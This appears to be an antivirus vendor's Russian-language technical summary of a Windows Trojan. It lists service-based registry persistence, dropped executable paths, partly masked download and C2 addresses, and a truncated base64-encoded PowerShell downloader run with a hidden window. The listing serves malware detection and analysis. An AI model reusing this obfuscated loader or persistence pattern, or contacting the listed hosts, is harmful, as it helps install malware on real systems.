Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\X3DAudio1_4] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\X3DAudio1_4] 'ImagePath' = '"%WINDIR%\SysWOW64\fwcfg\X3DAudio1_4.exe"'
- 'X3DAudio1_4' "%WINDIR%\SysWOW64\fwcfg\X3DAudio1_4.exe"
- 'X3DAudio1_4' %WINDIR%\SysWOW64\fwcfg\X3DAudio1_4.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABVAGoAeQB4AHIAcQBlAD0AKAAnAEYAcAAnACsAKAAnAHIAJwArACcAZwBlACcAKQArACcAcAB1ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAUgBwAFIATwBGAGkATA...
- %HOMEPATH%\s4xd020\semw4pq\bxpa1zx6.exe
- %WINDIR%\syswow64\fwcfg\x3daudio1_4.exe
- %HOMEPATH%\s4xd020\semw4pq\bxpa1zx6.exe в %WINDIR%\syswow64\fwcfg\x3daudio1_4.exe
- '17#.#06.122.139':80
- http://gu#####forisrael.org/QPOUUYxLBk/1nprgf/
- http://17#.#06.122.139/rNaVI21r/JdLYIKaPd/ZzqiL/GcKIzbyvxpXY3q/WVlKVsrqhpbNPsLb/
- DNS ASK gu#####forisrael.org
- '%HOMEPATH%\s4xd020\semw4pq\bxpa1zx6.exe'
- '%WINDIR%\syswow64\fwcfg\x3daudio1_4.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABVAGoAeQB4AHIAcQBlAD0AKAAnAEYAcAAnACsAKAAnAHIAJwArACcAZwBlACcAKQArACcAcAB1ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAUgBwAFIATwBGAGkATA...' (со скрытым окном)